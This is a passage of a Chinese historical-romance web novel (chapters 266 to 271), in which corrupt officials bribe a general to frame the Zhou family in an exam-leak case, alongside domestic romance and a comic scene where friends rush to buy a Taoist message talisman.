“有了这证据,说不定能将十四年前娄贲调包试卷一案也挖出来,将他们一网打尽。” “对!多谢魏兄弟。你且在我侯府住下。明日我便亲自将这证据送去刑部。” 待正事聊罢,已至深夜。 慕怀瑾为他们了侯府的客房,慕怀灵自告奋勇搀扶冷锋起身,“冷大哥,我扶你过去吧。” 冷锋没敢拒绝,但毕竟他们二人就在慕怀瑾眼前举动如此亲昵,冷锋难免有些担忧。 因而他尴尬又别扭地回了一句,“多谢慕小姐。” 慕怀灵却大大咧咧地说:“还叫我慕小姐?未免太生疏了吧。今后就叫我灵儿吧。” 慕怀瑾作为大哥,立刻敏锐地察觉到不对,迅速回过头,“嗯?” 灵儿?这是什么称呼? 他是看着这丫头长大的,十七年来还没听她说过让何人叫她灵儿。 今日为何…… 再看慕怀灵屁颠屁颠地凑到冷锋身边,殷勤地搀扶人家,还要扶人家去客房…… 不会是…… 慕怀瑾脑中顿时警铃大作。 怀灵这丫头不会是又看上冷锋了吧! 慕怀瑾正要开口问,衣袖却忽然被人拉住。 转过头,原来是徐莞拉住了他。她凑过来小声说:“别打扰他们。冷将军就是怀灵的命定之人。” 什么?冷锋? 这小子是怀灵的命定之人? 虽说冷锋比那位姓宁的百夫长要好一些,但若要与怀灵相配,还差一些吧... 在徐莞的拉拽下,慕怀瑾才未在这时发作。 慕怀灵神采奕奕地挽着冷锋的右臂,带流星和魏东阳去了客房。 慕怀瑾徐莞则与朱雀白虎一同返回松风苑。 在回去的路上,朱雀白虎将冷锋和慕怀灵之间的缘分讲给慕怀瑾。 慕怀瑾这才想起当年的往事,“原来冷锋就是曾经在北疆救过怀灵的小子。难怪怀灵会选择他了。” “是啊,”朱雀补充道:“而且冷大哥不止救过怀灵小姐一次,之前在清波湖上怀灵小姐落水,还有今日我们遇到杀手袭击,都是冷大哥救的她。” 慕怀瑾听后着实意外,“原来怀灵有那么多次身犯险境,我这做大哥的都不知道...” 听出慕怀瑾语声中淡淡的黯然和自责,徐菀柔声安慰道:“怀灵早已是大姑娘了,有些心事不愿让你知道也是正常。 你又要顾生意,又要顾整个侯府,对她顾及不全也可以理解。 况且她身边已有了能够保护她的人,你就不用操心自责了。” 徐菀劝说着,二人已来到了寝屋内,在桌边坐下。 慕怀瑾的思绪还沉浸在妹妹已找到心上人的情绪中。 “哎,之前怀灵找不到良婿,我担心。如今她找到了心上人,我为何还是高兴不起来...” 徐菀噗嗤一笑,“原来你是吃醋了啊。” “我吃醋?”慕怀瑾蓦地抬起头。 “对啊。民间有句话是这么说的。看到自己养大的姑娘嫁人,就像看到自己养的白菜被猪拱了般心疼。” 听到她将怀灵和冷锋比喻为白菜和猪,慕怀瑾又不自觉抿起唇角。 徐菀连忙解释:“等等,我不是说冷将军像猪...我的意思是,你从小看着怀灵长大,她就跟你亲闺女一样。看到亲闺女嫁人,你这做爹的心里自然... 不对...我不是说你年纪大能做怀灵的爹了,我是说...” 徐菀越说感觉越不对劲,将自己都绕进去了。 就在她纠结着该如何圆回来时,一只大手忽然揽住她的肩,将她拉入一个结实温暖的怀抱。 “好了不用解释,我明白你的意思。” 徐菀抬首望去,慕怀瑾的脸就靠在她上方,嘴角噙着抹宠溺的笑。 见她扬睫望来,慕怀瑾趁她不备,低下头朝她吻了上去。 徐菀只觉眼前光线一黑,下唇便被他含住。随后,柔软的唇瓣便在她唇上辗转轻吻。 他下巴上短短的胡茬,轻扎着她的脸。痒痒的,但不讨厌。 他略带佛手柑香气的鼻息,与她的鼻息交缠,清新醉人。 良久,就在徐菀感觉脑中晕乎乎的,就快沦陷时,慕怀瑾慢慢放开了她的唇,但还将她搂在怀中,两颗脑袋依偎在一起。 慕怀瑾做了几个深呼吸,望着窗外夜空中的圆月,喃喃道:“怀灵长大了,我也该放手将她交给她的良人了。 而你,会一直在我身边的吧,菀菀?” 徐菀依靠在她肩上点点头,“对,家族之内,人丁来来去去。唯有夫与妻会长久陪伴到老。你放心,我此生赖定你啦。” 慕怀瑾展颜一笑,将她搂得更紧,“好,有你这句话,我慕怀瑾定当奉陪到底。” 第266章 266.前去搬救兵 与此同时,在距离京城二百里外的东部军营中。 坐了一日一夜马车的魏志鸿与娄贲,终于在这日子时,赶到了从一品都督同知,何钦将军的大营。 何钦人虽不在京城,但京中近来发生之事,他都了如指掌。 当心腹副将通报说,魏志鸿与娄贲深夜前来拜访时,何钦便已猜到他们为何而来。 “请二位大人进帐。” 少倾,副将便将魏娄二人领进了何钦的营帐,之后便退了出去。营帐内便仅剩下了他们三人。 魏娄二人进来后,立即伏地跪拜,“参见何大人!” 何钦着一身枣红色军服,一手撑着膝盖,斜坐在营帐后方正中的一把虎头椅中。 面前的案几两侧点着油灯,将桌案上的物品照亮。 只见其上摊满了来自各方探子的来报,以及各级官员的信件。还有一张东部地区的地图,摊开在桌案上。 除此之外,营帐两侧还摆着两架宫灯,将魏娄两人的影子,交错映照在一起。 魏娄二人跪拜完后,未听到何钦让他们起身的声音,因而都不敢乱动,连头都不敢抬,就这样一直伏在原地,紧张得大气不敢出。 虎头椅中的何钦定定望了他们一阵,随后站起身绕过桌案走了两步。 “二位大人请起。” 何钦年过不惑,数十年来皆在兵部任职,参加过大小战役无数,体魄依然强健,嗓音浑厚有力。 魏娄二人得令,才暗暗呼出一口气,“谢何大人!” 而后互相搀扶着起身,抬首便见何钦没有面对他们,而是面对着其中一盏宫灯,手持长剪,认真修剪着宫灯上蜡烛的烛芯。 “二位大人深夜来访,可是为了会试试题一事?” 魏娄二人一听,连忙点头称是,“是是是!何大人真是神机妙算。” 魏志鸿道:“此次因我儿在书院阁内意外惨死,被刑部发现了藏于书院阁的会试试题。 周正忠父子便死咬着我与岳父不放,誓要找到证据定我们买卖试题之罪。 近日不知他们如何又挖出了我收买书院阁管事的证据,情势对我等极其不利。 国子监的官员们亦被控制在周正忠手里,恐其支撑不住会将我与岳父招出来。 事出紧急,我等别无他法,只好前来求何大人您。望何大人能助我们度过此难关。将来我等当牛做马,定报答您的大恩!” 一番沉痛恳求之言后,魏志鸿再次以头撞地,向何钦磕头。 娄贲见此也跟着跪下,与魏一同向何钦求道:“求何大人救救我们!何大人今后若是需要,老朽将这条老命都给您!” 何钦听着他二人一唱一和,忍不住轻嗤一声,“娄大人,我要您这条命作甚。” 何钦说着,转身将长剪放在身后的桌案上,而后状似随意地靠坐在桌角边,向他们望去。 “国子监那帮人,只要我一句话,他们一个字都不敢说。刑部找到的书院阁管事的证据,只要咬死不承认,也可成为废纸一张。 关键是要让皇上相信,买卖试题的是周家,不是你魏家。” 魏娄二人一愣,怔忪问:“何大人此话怎讲?” 何钦起身负手,在营帐中缓缓踱步,道:“藏于书院阁的会试试题,是否为刑部官员首先发现的?” “是。” “那我再问你。书院阁的管事,是否在刑部大牢突发急症身亡?那封管事的陈词信,是否也是刑部之人首先拿到的?” “是!是的何大人!原来您是这个意思!”魏志鸿瞬间明白了何钦的计谋: “从始至终,都是刑部与周家首先发现了那些证据。这不就证明,那些证据有可能都是周家伪造的,想把罪名扣在我魏家头上。 而他们如此做的原因,就是为了掩盖自己买卖试题的事实!” 何钦听罢转过身,赞赏地望向魏志鸿,“不错,就是如此。” 娄贲此时也明白过来,向何钦又是一顿磕头,千恩万谢。 “多谢何大人提点!多谢何大人呐!” 魏志鸿连忙命营帐外等候的心腹家丁,将一箱东西抬了进来,而后再退出营帐。 魏志鸿向何钦拱手道:“何大人,这是我与岳父的一点心意,还请何大人莫要嫌弃。” 何钦清楚那箱子里装的是什么,点点头示意他放下。 而后行至魏娄二人身前道:“我也是念在咱们曾经相互帮衬的份上,便帮你们这一次。 但你们一定要记住,什么该说,什么不该说。莫要让任何人抓住了把柄。” 魏娄二人连忙磕头称是,“魏某明白!魏某能有今日,全倚仗您的提携,一刻都不曾忘记!只要何大人您一句话,魏某万死不辞!” 何钦见此,才略略满意地点头,“好了,你们回去吧。就当你们从没出过京城,从未见过我。” “是何大人!” 话毕,二人退出何钦的营帐,带上随行的心腹,在此地一刻不歇坐上马车赶回京城。 在马车上,娄贲的手,还在抑制不住地颤抖。 魏志鸿从他怀中取出救心丸,帮着他服下,又为他顺了会儿气,娄贲才缓过劲儿来。 “爹,您怎么样?好点了吗?” 娄贲点点头靠在马车壁上,长长呼出一口气。 从前还不觉得,如今年纪越大面对何钦,越发觉得压抑和恐怖。 何钦此人城府极深,为达目的不择手段,你永远不知道他在想什么,也猜不透他下一步会怎么做。 此次若不是实在没办法,娄贲也不愿来求他。 而今何钦总算是愿意帮忙了,娄贲心中的大石也放下了。 “志鸿啊,此事便交给你了。一定要让皇上相信一切都是周家干的,与我们魏家无关……” “爹放心,我知道该如何做了。” “还有…当年你到底是如何搭上何大人的?” 这么多年来,娄贲一直好奇,何钦为何会冒着极大风险,帮一个偏远地区的进士调包试卷。 娄贲甚至怀疑,魏志鸿与何钦有些不能为外人道也的血缘关系。 但这么多年观察下来,似乎也不是。 魏志鸿未料到娄贲会突然问到此问题,停了片刻才道:“知道的太多,对爹没有好处。” 娄贲一听,乖乖闭嘴再也不问。二人便各自靠在马车两侧闭目养神,心中却都思绪万千。 第267章 267.再次反将一军 距离皇上将会试试题泄露一案交由刑部调查,已过去了五日。 这日早朝时,皇帝景逸望见周正忠和魏志鸿,不禁又想起了那个案子,便向周正忠询问案件调查情况。 “周爱卿,会试试题泄露一案查的如何了?可查出泄露试题之嫌犯?” 周正忠在大殿内文武百官众目睽睽之下,上前一步朗声道:“回皇上,臣无能,还未能从国子监官员口中,审问出泄露试题之人。” 景逸听了此话,面上略略展露出些失望。 可还不等他开口训斥,周正忠忽然接口道:“但刑部已查出,买试题之人是谁!” 周正忠的声音之大,令大殿中所有人不自觉向他望了过去。 景逸也瞬间振奋起来,“哦?胆敢买试题之人是何人!” 周正忠用眼风瞥向右后方的魏志鸿,之后气沉丹田,声若洪钟,“买试题者,正是户部侍郎魏志鸿!” 轰隆隆! 此话一出,一阵浑厚磅礴的雷声,突然在大殿外轰然炸响,惊得殿内众臣齐齐一凛。 而后便是一阵比雷声更大的嗡嗡声,在大殿内炸响。 “嗟呼!周大人这是誓死要将魏大人拉下马啊!” “可不是,上回就说魏志鸿是嫌犯。这回更是信誓旦旦说他是买试题者。看来是找到什么重要证据了。” “但魏大人看着丝毫不慌,难不成还有什么后手?” 皇帝景逸亦不自觉激灵一下,在龙椅上挪了挪,待惊吓的劲儿过去后,拍着桌案怒吼: “肃静!都给朕肃静!皇宫大殿岂是尔等随意喧哗之地!” 景逸吼罢,众臣才渐渐止住议论,再次颔首屏气凝神,静待事态如何发展。 大殿内静了一阵后,景逸才开口向周正忠问,“周大人可有证据?”语气不辨认喜怒,嗓音中充满了压迫。 周正忠立时将崔管事的陈辞信,及票行的证明取了出来,交由太监呈递给皇上。 再将书院阁管事崔巍在刑部大牢中,因被人作弄,哮喘发作之事讲与皇上与众臣。 “随后刑部派人去崔家慰问,竟发现他一家老小也被毒死在家中。细心搜寻之下,便发现了崔巍的陈辞信和这张银票。 经向票行核实,这张银票是从魏大人的账户中取出来的。因此便可证明,魏大人就是那意图购买试题之人!” 景逸接过证据看了看,陈辞信中准确说明了是魏志鸿贿赂崔巍,让他将试题埋入楼顶的花盆中。票行的证明书也能证明这张银票就是魏志鸿的。 面对如此铁证,景逸的目光终于向魏志鸿投了过去。 但见他哗啦一声将证据扔在魏志鸿身前,厉声吼道:“大胆魏志鸿!竟敢无视我朝王法,擅自买卖科举试题!该当何罪!” 这声怒吼,令大殿中所有文武百官齐齐一凛。 魏志鸿则蓦地一抖,径直扑通一声跪了下去,“皇上,臣冤枉啊!” 魏志鸿的演技着实精湛,方才还是一副从容淡定的模样,一转眼的功夫,立刻戴上一副惶恐委屈的面具,让众臣们都觉得他冤。 景逸站起身指着他怒道:“如此铁证摆在面前,你还敢叫冤?” 魏志鸿跪伏在地,片刻后便声泪俱下,“皇上,微臣真冤枉啊! 微臣根本不认得那崔管事,也不知那张银票是刑部从何寻来的。刑部大牢看守森严,臣也不可能派人进去将崔管事呛死。 从始至终,微臣都未见过那份试题,也从未见过崔管事,更不可能用银票收买他。 那份试题和所有的证据,都是刑部找出来的,崔管事也是在刑部大牢暴毙。 微臣是否可以推测,这一切事件和证据,都是刑部伪造的! 而其目的,就是为了将周大人购买试题一事,嫁祸在微臣的身上! 请皇上明鉴!” 魏志鸿一番话说得声嘶力竭,令人听来对刑部恨之入骨。 而大殿中的情势也随之骤然反转。群臣再次愈加喧闹议论起来。 “好家伙!魏大人这番辩解真牛啊!听他一说,老夫真觉得有这种可能!” “是啊,魏大人说的没错。那试题是刑部先发现的。崔管事也是在刑部大牢死的。会不会就是刑部之人将其弄死,再伪造了那一系列证据? 说不定魏大人的儿子,就是因撞见了周祎仁的儿子去拿试题,才被他们推下楼摔死的!” “若真是如此,那姓周的一家心思也太阴毒狠辣了!” “是啊,若不是魏大人喊冤,我已信了周大人的证据。” 下方群臣的议论之言,皆传入景逸耳中。 景逸也不由得被群臣影响,考虑起了魏志鸿的话。细想之下,确有几分可能是周家和刑部栽赃陷害。 可如今,他该如何判断? 要让大理寺将周正忠和周祎仁都关起来吗? 群臣中的魏志鸿,此时心中那叫一个小人得志。 他暗暗瞥向斜前方的周正忠,虽看不见他的表情,但也能想到他此时是有多么措手不及。 呵呵周正忠,你想借此机会将我扳倒,却没想到我会出这一招,反而要将你拉下马了吧。 任你掌管刑部,也斗不过何钦大人。 嘈杂的皇宫大殿中,群臣都在暗暗瞥着周正忠和周祎仁,看他们如今还有何话好说。 形势对周家极其不利,周正忠与周祎仁的额角,皆不禁渗出了汗珠。 周祎仁虽然已掌握了慕怀瑾给他的线索和证据。 但他明白,若是此时由他拿出,皇上与群臣必定还是会认为,这些证据都是他们伪造出来的。 因此,他必须将这些线索交给大理寺,请大理寺的官员,去甘州州府取嘉礼县县志。 请大理寺官员,命国子监调出十四年前的探花试卷,才能证明刑部所言非虚。 但这些调查还需时间。 不是此时在朝堂之上与魏志鸿争一时口舌之快,就能让皇上相信的。 就在此时,立于高堂之上的皇上,在思虑良久后,也向周正忠问道:“周大人,对于魏大人的控诉,你有何话好说。” 第268章 268.软禁府中 “周大人,对于魏大人的控诉,你有何话好说。” 周正忠却没有群臣所想的那般紧张慌乱,而是郑重向皇上一拜,语气仍旧铿锵。 “老臣在朝为官三十余载,向来秉公处事,从不敢做任何有违礼法之事,也不会栽赃嫁祸,陷害任何一位好人。 老臣与魏大人无冤无仇,此番只是秉公办案,未曾料到魏大人竟想对我反咬一口。” 说到此处,周正忠顿了顿,语声中有愤怒,亦有无奈。 “皇上,老臣可用我周家上下二十多口人的性命起誓,刑部所出之证据,皆为实证。 若皇上还是担忧刑部未能秉公执法,可将此案交由他部调查。老臣及家人会在府中静候调查结果。” 周正忠这番话,亦说得动容恳切,并且愿意让皇上将此案交由别部调查,自己禁足在府中,可见其诚意。 皇上景逸望着周正忠良久,末了暗叹一口气,扬声宣布: “传朕旨意。会试试题泄露一案,全权交由大理寺调查。 刑部尚书周正忠,刑部侍郎周祎仁,自今日起停职禁足在府中。 待此案查清后,再行奖惩!” 周正忠与周祎仁心头一震。 皇上竟真的信了魏志鸿的话,将他们父子俩停职查办,还禁足在府中。 皇上真是糊涂啊! 可九五至尊金口玉言,圣旨说出口,就不可能再收回。 周家父子只好深吸一口气,与魏志鸿一同跪拜谢恩。 “微臣,谢皇上!” 其余文武百官也顺势齐齐跪拜高呼,“皇上圣明!皇上万岁万岁万万岁!” === 早朝结束,周家父子从宫里出来便返回各自的府邸。 大理寺不久便派人来到二人的府邸,对其合府上下严加看守。 来到周祎仁府上的,还是大理寺少卿蔺翔宇。 周祎仁趁机将慕怀瑾给他的线索交给蔺翔宇,并将自己所知的一切,全都告诉了他。 好在蔺翔宇为人刚正不阿,听罢即刻明白此案事关重大,又牵扯甚广。 他向周祎仁保证,大理寺定会从严查案,不放过任何一个细节,争取尽快让此案水落石出,还周家清白。 交代完一切后,周祎仁才筋疲力尽地回到自己的院落。 在寝屋的圆桌旁坐下,周祎仁正想给自己倒杯茶水,却发现桌上什么都没有。 忽而,一道熟悉的温柔嗓音,从门口传来,“祎仁,蔺大人走了吗?” 原来是秦韶华带着丫鬟走了进来,而后在他身旁坐下。 随行的丫鬟将端着的托盘放在桌上,便施礼退了出去。 秦韶华帮周祎仁倒上一杯热茶,又把两盘点心也端到他面前。 看到爱妻准备的是自己平日最爱饮的明前龙井,还有爱吃的糯米糕和椒盐酥,周祎仁的心不禁松了下来,焦躁与不安亦渐渐平复。 “多谢你了韶华。蔺大人方才已离开了。”周祎仁说着,一面饮茶吃起点心来,“来,你也吃一些。” 秦韶华淡淡摇摇头,仅望着他品茶吃点心,“我不用了。蔺大人和大理寺的大人们都怎么样?会帮我们吗?” 秦韶华此时也已得知了今日在朝堂中所发生的事。 在最初的惶恐惊讶过后,她也不再担惊受怕,而是冷静下来继续处理好府上事务,过好自己的日子。 周祎仁吃完一块椒盐酥,喝下一杯茶后,才心满意足道:“蔺大人为人正直,查案能力强。 大理寺的大人们历来也都秉公调查,应该不会受魏志鸿收买。但大理寺是否会畏惧于魏志鸿背后的势力,我便不得而知了。” 秦韶华行至他身后,帮他按按肩膀,温声劝道:“算了,别多想。我相信大理寺的大人们都会秉公办事的。 只要我们没做过那些事,就身正不怕影子斜。那些恶人便动不了我们分毫。” 秦韶华按了几下后,左手忽然被一只大手覆住。 她低头一看,原来是周祎仁略略转过身,抬首望向她,用右手搭上了她的手,自责疼惜道: “韶华对不住,又让你担心受苦了。” 秦韶华心头一软,回握住他的手,在他身旁坐下,浅笑着摇摇头: “别这样说,这哪叫受苦。如今我们全家都被软禁在府中,我们一家四口终于能过段朝夕相处的清净日子了。 而且有你在府中日日陪伴,平章的身子说不定能好的快些。这样的日子我还求之不得呢。” 周祎仁被她的话逗乐,忍不住低低笑了几声。而片刻后,那笑容里又多了几分亏欠与苦涩。 “这些年忙于刑部的事务,未能好好陪你和孩子们,真是辛苦你了。” 秦韶华嗔怪道:“这是哪儿的话,你每日能回府,我已谢天谢地了。” 周祎仁伸手将她拉进怀中,轻抚着她的肩背沉声安慰,“韶华,我向你保证,今后一定多多陪伴你和孩子们,不再让你如此辛苦。” 秦韶华靠在周祎仁怀中,眼角不禁有些湿润,“好。” 二人就这样相互依偎良久,心情逐渐恢复平静淡然。 这时,秦韶华忽然开口问道:“祎仁,我们是不是该将此消息告诉怀瑾和菀菀?毕竟煜峥与平章都还是嫌犯。 若是因为我们连累到永嘉侯府,我们心里也过意不去。” 周祎仁即刻直起身,“对,是要将此情况即刻告诉怀瑾。说不定他们还能提供别的线索。” “但是我们合府上下都被软禁在此,各个院落和大门都有人把守。这消息该如何传出去?” “是啊,要如何与永嘉侯府取得联系呢?”周祎仁思忖片刻,脑中突然灵光一现: “对了!徐观主曾经送过一道传讯符给我。对着那张符纸说话,徐观主那边就能听见。” 秦韶华瞪大了眼,“真有如此神奇之物?” “千真万确!我把那道符放哪儿了来着?” 周祎仁说着,起身在书房中到处翻找起来。他记得应该是放在书房了。秦韶华也帮着他一起翻找。 沿着一个个柜子抽屉与书架找过去,周祎仁终于在一个花盆底下,翻到了那张传讯符。 “找到了!在这儿!” “快试试能不能联系上徐观主!” 第269章 269.神奇传讯符 而与此同时,永嘉侯府内,定北王鄞玄恰好上门拜访。 “怀瑾,听王府家仆说,流星与冷锋昨日陪怀灵外出寻人。他们可否寻到?又是否平安回府?” “你放心,他们昨晚便已回到我府上,并且人也已经找到了。” 慕怀瑾亲自来到大门处迎接,一路将鄞玄带往正厅落座。 正厅内,徐莞已命人准备好茶水点心,静候鄞玄到来。 “妾身见过王爷。”徐莞向鄞玄施礼,鄞玄客气地让她快请起。 徐莞起身后在慕怀瑾身边坐下,“王爷稍等,我已派人去请冷锋流星将军,他们稍后便来。” 徐莞的话音方落,冷锋流星慕怀灵便从内院赶来,向鄞玄齐齐行礼。 “参见王爷!” 行礼过后,慕怀灵笑着向鄞玄打趣道:“冷大哥流星大哥,原来王爷哥哥如此关心你们啊。只是一晚上没回去,就急着来我们府上找人了。” 冷锋与流星低下头抿唇笑了笑,鄞玄则朗声大笑,“哈哈哈怀灵说的是。 冷锋和流星从十二三岁起就陪在我身边,一日不见他们,我这心里就不安呐。 不过听怀灵这话的意思,是不舍得放他们回我定北王府了?” 慕怀灵:“???”本来是我调侃他,怎的他反过来揶揄我了? 一听此话,慕怀瑾和徐莞等人,忍不住以拳抵唇,暗暗憋笑。冷锋则不好意思地低下头。 鄞玄将他们的反应尽收眼底,很快便看出了一丝端倪。 “让本王猜猜,怀灵舍不得的是流星?还是……冷锋?” 流星立马站起身,连连摆手,“属下不敢不敢。我可配不上怀灵小姐。还是锋哥比较合适。” 说着,还轻轻撞了一下旁边的冷锋,引得永嘉侯府正厅内,霎时响起一片朗笑声,“哈哈哈哈哈……” 此话一出,冷锋的头低的更低了,慕怀灵则直接跳了起来,“哎呀王爷哥哥就知道调侃我!” 众人大笑一阵后,慕怀瑾才道:“好了,我们不逗他们了。只要有朝一日阿迦你愿意忍痛割爱便好。” “好好好,怀灵看上的,本王怎会不成全。” 两人话语中的深意,便是已默许了慕怀灵和冷锋二人。 处在漩涡中的冷锋,不由得松了口气。有了王爷的默许,今后他也无什么担忧了。 此事揭过后,鄞玄便问起了冷锋的伤势。 “冷锋,你怎么受伤了?昨日你们寻的是何人?难道遇上了危险之事?” 随后,冷锋与慕怀瑾等人,便将近来调查魏志鸿一事,向鄞玄全盘托出。 鄞玄当然也对此事早有耳闻,这几日也在替周家在大理寺找人帮忙。 听到他们已找到了魏志鸿的长子,鄞玄顿时精神振奋。 “真是天大的好消息,多亏了慕夫人!” 徐莞早就被他们夸的有了免疫力,于是自谦道:“王爷您就别夸我了。还有,您一直叫我慕夫人未免也太生疏了。您直接叫我菀菀吧。” 他们和鄞玄也算是有过命之交的人,一直慕夫人慕夫人的叫,徐莞听着都别扭。 鄞玄早就想对她换个称呼了,但又不知如何称呼合适,因而只好一直那么叫。 今日徐莞提起,鄞玄用征求的目光望向慕怀瑾。 慕怀瑾未有丝毫介意,笑着向他点点头。鄞玄才放心地改口,“好,菀菀。” 此称呼一出口,鄞玄便感觉与徐莞的关系拉近了很多。 再望向徐莞那清丽沉静的面庞,与温婉似水的浅笑,鄞玄心头不禁蓦然一动,一股莫名的愉悦涌上心头。 他不自觉地向徐莞笑了笑,目光却一直停留在她的身上,忘了离开。 直到慕怀瑾的声音响起,“不知今日早朝,周大人与祎仁将证据呈给皇上后,能否将魏志鸿送进大牢。” 他的话音刚落,一个空灵却熟悉的嗓音,恍然在他们身边响起。 “徐观主?怀瑾?你们在吗?” 起初,其他人都未听到这个声音,只有慕徐两人隐约听到了一些。 “菀菀,你可听到什么声音没有?似乎有人在叫我们。” “好像听到了。” 紧接着,那个声音又响了起来,“徐观主!慕怀瑾!我是祎仁啊!你们能听到吗?哎这符纸是这样用的吗?不会还要念什么咒语才能起效吧?” 这次慕徐二人总算听清了,是周祎仁的声音! “是祎仁!”慕怀瑾一开口,正厅内的鄞玄冷锋等人,才意识到周祎仁也加入了他们的谈话。 “祎仁也来了吗?他在何处?”鄞玄问着,与冷锋等人不时向四周望去。 “没来人啊。”慕怀灵也一脸纳闷。 “周大人没来咱们府上。他是用传讯符在与我们联系。”徐莞沉静清透的语声传来。 众人皆向她望去,但见她从小荷包中取出一枚叠成三角形的符纸,对着符纸道:“周大人,我是菀菀。你能听见吗?” 不消片刻,那符纸中竟真的传出了周祎仁激动兴奋的声音。 “徐观主!哈哈真的联系上了!我是祎仁啊!我能听见能听见!” 厅内众人除慕怀瑾之外,皆露出难以置信的表情。 “这...这是怎么一回事?祎仁的声音怎会从那里传出来?”鄞玄直直瞪着那符纸问。 不待徐菀回答,周祎仁的声音又响了起来,“阿迦?是不是阿迦?你也在怀瑾府上?” 鄞玄一听更是不可思议,“对,你能听到我的声音?” “能听到啊。你们每个人说话我都能听到。” 此时此刻,身在周府寝屋中的周祎仁,对着传讯符聊得格外兴奋。 “韶华,你要不也来说两句,跟怀瑾他们打个招呼?”周祎仁还不忘让秦韶华也体验一下这传讯符。 “我...我?我也可以吗?”秦韶华一时有些慌乱,又很是好奇。 “当然啦。快来试试。” 周祎仁将传讯符推到秦韶华跟前,秦韶华倾着身子,试探着说了一句,“王爷?侯爷?菀菀?我是韶华。你们都能听见吗?” 传讯符中立时传来多个嗓音,“能听见!” 秦韶华一喜,抬起头与周祎仁相视一笑,“真的可以哎!太神奇了!” 第270章 270.疯抢传讯符 身在永嘉侯府的众人,无一不发出与秦韶华相同的感叹。 “没想到菀菀竟还有如此神奇的符纸,能让两个相隔数里的人隔空对谈。”鄞玄兴奋道。 “不止相隔数里,”慕怀瑾一副‘你们都没见过世面’的表情,垂眸望着他们道:“相隔几十里甚至上百里,用传讯符都能对谈。” “好家伙!上百里都能对谈!”流星也忍不住惊叹,“慕夫人这符纸是从何处得来的?我等从未听过任何道观或道长有这种符纸。” “是啊。”慕怀灵接口道:“京城的紫霄观和八仙观都无这种符纸。若是有的话,他们定会拿出来卖的。” 徐莞眨眨眼不解地说:“从何处得来?这是我自己画的啊。 别的道观有没有我不知道,但我在青云观修炼时,起初是没有传讯符的。 后来还是我研究了三天三夜,才画出来的。此后我便送了两道给师父和师兄,他们用着都说好。” 冷锋听罢总结道:“如此说来,这符纸乃慕夫人自己发明的。慕夫人果然道法高强。” 慕怀灵一听,更是激动得站了起来,“大嫂,你有如此妙的符纸居然不告诉我。连周大哥都有...我还是不是你的心肝小宝贝了...” 徐菀:“......” “就是啊师父。你居然连你的两个徒弟都没传授这符纸。我们还是不是你的亲亲徒弟了?” 朱雀与白虎不知何时也从后院走了出来,远远便听见正厅中在讨论着一种名为传讯符的符纸。 有这种好玩意儿,朱雀与白虎还不得赶紧学会? 徐菀:“......” 鄞玄轻咳两声,也厚着脸皮道:“既然怀瑾与祎仁都有,我可否也向菀菀求一道传讯符?今后有要事需即刻联络时,这传讯符便能派上大用场。” 徐菀:“......”一道传讯符都能让他们抢成这副模样,果真没见过世面啊... 一旁的慕怀瑾暗暗用手肘撞了撞徐菀,徐菀转过头,见慕怀瑾向她扬扬下巴,示意她给他们卖符纸。 有钱为何不挣呢? 如此神奇的符纸,京城内还从未出现过。 慕怀瑾作为商人的预感告诉他,若是将传讯符拿去外面售卖,绝对会轰动全京城。 但如此做未免有些太高调。 遂,还是先在亲近之人之间卖卖试试吧。 徐莞看懂了慕怀瑾的意思,心想这确实是个为道馆挣香火钱的好机会。 那我便一道符纸五十两卖给他们吧。 于是,徐莞清了清喉咙,准备开口,“你们想要的话,便一道符纸五……” “十”字还未说出口,慕怀瑾便抢先叫了出来,“五百两!” 徐莞:“???” 慕怀瑾这个奸商也太狠了吧! 五百两一道符纸,人家能买吗? 慕怀瑾头头是道地解释了起来,“诸位方才也听到了,此符纸乃菀菀倾注了不少心血自行发明的。世上只此一家。 此符纸可长久使用下去,且可与多人进行随时对谈。如此妙的符纸,五百两一道便可到手,诸位还不抓紧机会。” 谁料,慕怀瑾的推销之词话音未落,鄞玄的声音便响了起来,“仅需五百两一道,确实划算。本王先买三道。麻烦菀菀了。” “大嫂,我也要!” 就连传讯符那头儿的周祎仁,都叫唤着:“徐观主我也订三道!到时候将之前你送我的这道,一块结账给你!” 朱雀与白虎厚着脸皮,可怜巴巴地凑了过来,“师父,我们也想要。但我们是你徒弟,这五百两就免了吧……” 厅内众人一个个皆眼巴巴地望着徐莞,将徐莞都看懵了。 原来大家都这么有钱啊…… 只有我那两个徒弟想吃霸王餐。 “你们两个若是想要,往后十年的收入,怕是都要归我喽。” 朱雀白虎:看来我们后半辈子都要卖给师父了…… 慕怀瑾立即让管家拿来纸笔,为鄞玄写了张字条,并按下印章递给了他。 “阿伽,你的需求我这里都记下了。按照规矩,需先付一半的定金。 这几日菀菀在府中画完之后,我便派人给你送到定北王府。” 鄞玄没有犹豫,点头道:“也不用定金了。一会儿我回府取了银票,便派人给你将一千五百两送过来。” 慕怀瑾立即向他抱拳,展颜道:“阿伽果然痛快。” “你我之间,应该的。” 徐莞却替鄞玄感到肉疼。 他们夫妻俩在鄞玄身上已薅了不少羊毛,鄞玄还如此心甘情愿做冤大头。 真不知是他太傻,还是钱太多。 此事谈罢,众人这才想起周祎仁还在传讯符的另一端。 徐莞遂向他道:“周大人你放心,你要的三道传讯符我记住了。我画好后也派人送你府上去。” “好嘞!多谢徐观主!只是…”周祎仁的嗓音忽然由兴高采烈,转为抑郁寡欢,“只是这段时日,你们不能到我府上来了,我也出不去了。” “什么?”慕怀瑾即刻意识到了不对,“祎仁,你这话是什么意思?难道是今日早朝,在朝堂上出了什么岔子?” 周祎仁的语声听来有些落寞,“嗯,今日在朝堂上,魏志鸿又将我与我爹反咬一口。 说那些证据都是我们伪造的,就是为了掩盖我们就是买卖试题之人。 还说他儿子就是因撞见了平章和煜峥去拿试题,才被他们推下楼灭口。” 慕怀灵听罢,忍不住大骂起来,“该死的魏志鸿,随意颠倒黑白、嫁祸于人,真是脸皮比城墙还厚!” “所以如今,你和你爹都被软禁在府中了?”慕怀瑾问。 “对,皇上将此案交由大理寺调查,将我们周家全族都禁足在府中。 我只好将之前你给我的线索,交给了大理寺的蔺翔宇,请他帮忙寻找证据。 这也是我此次用传讯符联系你们的原因。你们若是又找到什么新的线索,记得交给蔺翔宇。” “好,你放心,我们会的。” 鄞玄也向周祎仁安慰道:“我在大理寺也有几位交好的大人。待会儿我便去一趟大理寺,向他们叮嘱一二。” 周祎仁谢过他们后,再次叹气道:“哎,如今就担心,魏志鸿又整出对我们不利的证据。 若再将平章煜峥定为杀人凶手……老天啊,我都不敢想!” 第271章 271.抓住致命把柄 “若再将平章煜峥定为杀人凶手……老天啊,我都不敢想!” 